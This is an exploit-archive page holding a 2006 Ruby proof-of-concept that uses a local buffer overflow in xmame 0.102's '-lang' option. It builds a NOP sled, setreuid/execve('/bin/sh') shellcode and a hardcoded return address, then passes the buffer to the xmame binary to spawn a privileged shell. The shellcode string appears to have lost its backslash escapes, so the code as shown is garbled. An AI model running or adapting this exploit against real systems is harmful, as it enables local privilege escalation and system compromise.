Xmame 0.102 (-lang) Local Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Xmame 0.102 (-lang) Local Buffer Overflow Exploit
# Published : 2006-01-10
# Author : xwings
# Previous Title : MS Windows COM Structured Storage Local Exploit (MS05-012)
# Next Title : PHP <= 4.4.0 (mysql_connect function) Local Buffer Overflow Exploit

#!/usr/bin/ruby

#
# One of the PoC code for xmame "-lang" options.
# Advisory is base on : http://kerneltrap.org/node/6055
#
# by xwings at mysec dot org
# url : http://www.mysec.org , new website

# Tested on :
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
# gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1)
# xmame 0.102 , ./configure && make && make install
#


#setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes.
shellcode =     "x31xc9x31xc0xb0x31xcdx80x89xc3x89xc1x31xc0xb0"+
                "x46xcdx80x31xc9x51x68x2fx2fx73x68x68x2fx62x69"+
                "x6ex89xe3x51x53x89xe1x31xd2xb0x0bxcdx80xb0x01"+
                "x31xdbxcdx80"

vulnpath        = "/usr/games/xmame.x11"
argvopt         = "-lang"

ret = (0xbfffe8da) 
retadd  = ([ret].pack('V'))

nops    = ("x90" * (1056 - (shellcode.length + retadd.length)))
buffer  = nops+shellcode+retadd

system(vulnpath,argvopt,buffer)

# www.Syue.com [2006-01-10]